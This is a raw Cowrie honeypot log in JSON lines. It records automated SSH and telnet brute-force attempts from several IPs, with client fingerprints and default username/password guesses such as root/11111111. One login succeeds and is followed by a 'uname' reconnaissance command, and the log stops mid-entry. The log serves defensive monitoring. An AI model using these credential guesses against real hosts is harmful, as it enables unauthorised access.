{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:52.365816Z","src_ip":"192.169.243.246","session":"70b362b0ce1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tw","password":"tw","message":"login attempt [tw/tw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:52.703539Z","src_ip":"192.169.243.246","session":"70b362b0ce1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:53.783796Z","src_ip":"192.169.243.246","session":"70b362b0ce1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41506,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe840a05c682","protocol":"ssh","message":"New connection: 192.109.200.237:41506 (159.203.135.109:22) [session: fe840a05c682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:53.977206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:54.050375Z","src_ip":"192.109.200.237","session":"fe840a05c682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:54.069960Z","src_ip":"192.109.200.237","session":"fe840a05c682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:54.380369Z","src_ip":"192.109.200.237","session":"fe840a05c682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:55.466745Z","src_ip":"192.109.200.237","session":"fe840a05c682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.543575048446655,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:56.748472Z","src_ip":"152.42.224.71","session":"154e142ba661","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41520,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f6e3029dacc","protocol":"ssh","message":"New connection: 192.109.200.237:41520 (159.203.135.109:22) [session: 0f6e3029dacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:57.305513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:57.311395Z","src_ip":"192.109.200.237","session":"0f6e3029dacc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:57.393869Z","src_ip":"192.109.200.237","session":"0f6e3029dacc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:57.641820Z","src_ip":"192.109.200.237","session":"0f6e3029dacc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.32331109046936,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:57.857021Z","src_ip":"152.42.224.71","session":"f34a2e22f952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:58.805151Z","src_ip":"192.109.200.237","session":"0f6e3029dacc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40362,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8484e6ebe0d","protocol":"telnet","message":"New connection: 152.42.224.71:40362 (10.17.0.5:23) [session: b8484e6ebe0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:58.868804Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53250,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3af907052dc","protocol":"ssh","message":"New connection: 192.109.200.237:53250 (159.203.135.109:22) [session: f3af907052dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:00.600244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:00.605594Z","src_ip":"192.109.200.237","session":"f3af907052dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:00.691049Z","src_ip":"192.109.200.237","session":"f3af907052dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:00.943151Z","src_ip":"192.109.200.237","session":"f3af907052dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.22537040710449,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:00.998669Z","src_ip":"152.42.224.71","session":"d81cf7d3a670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:02.031547Z","src_ip":"192.109.200.237","session":"f3af907052dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53252,"dst_ip":"159.203.135.109","dst_port":22,"session":"851c45047f97","protocol":"ssh","message":"New connection: 192.109.200.237:53252 (159.203.135.109:22) [session: 851c45047f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:04.222489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:04.227026Z","src_ip":"192.109.200.237","session":"851c45047f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:04.309549Z","src_ip":"192.109.200.237","session":"851c45047f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40372,"dst_ip":"10.17.0.5","dst_port":23,"session":"49fdd6ebe32a","protocol":"telnet","message":"New connection: 152.42.224.71:40372 (10.17.0.5:23) [session: 49fdd6ebe32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:04.441325Z"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:04.561511Z","src_ip":"192.109.200.237","session":"851c45047f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.166310787200928,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:05.321540Z","src_ip":"152.42.224.71","session":"cfbd342fe287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:05.648194Z","src_ip":"192.109.200.237","session":"851c45047f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53268,"dst_ip":"159.203.135.109","dst_port":22,"session":"472c87a3a045","protocol":"ssh","message":"New connection: 192.109.200.237:53268 (159.203.135.109:22) [session: 472c87a3a045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:07.405781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:07.410840Z","src_ip":"192.109.200.237","session":"472c87a3a045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:07.493763Z","src_ip":"192.109.200.237","session":"472c87a3a045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:07.740996Z","src_ip":"192.109.200.237","session":"472c87a3a045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:08.828187Z","src_ip":"192.109.200.237","session":"472c87a3a045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46804,"dst_ip":"159.203.135.109","dst_port":22,"session":"39fbf566e4c3","protocol":"ssh","message":"New connection: 192.109.200.237:46804 (159.203.135.109:22) [session: 39fbf566e4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:10.757859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:10.763524Z","src_ip":"192.109.200.237","session":"39fbf566e4c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:10.846102Z","src_ip":"192.109.200.237","session":"39fbf566e4c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":38832,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0262dcf501c","protocol":"telnet","message":"New connection: 209.127.178.212:38832 (159.203.135.109:23) [session: b0262dcf501c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:11.065915Z"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:11.177434Z","src_ip":"192.109.200.237","session":"39fbf566e4c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:11.407659Z","src_ip":"192.109.200.237","session":"39fbf566e4c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:11.411768Z","src_ip":"192.109.200.237","session":"39fbf566e4c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:11.498233Z","src_ip":"192.109.200.237","session":"39fbf566e4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:11.507441Z","src_ip":"192.109.200.237","session":"39fbf566e4c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46820,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd5cb769e503","protocol":"ssh","message":"New connection: 192.109.200.237:46820 (159.203.135.109:22) [session: bd5cb769e503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:14.207572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:14.214045Z","src_ip":"192.109.200.237","session":"bd5cb769e503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","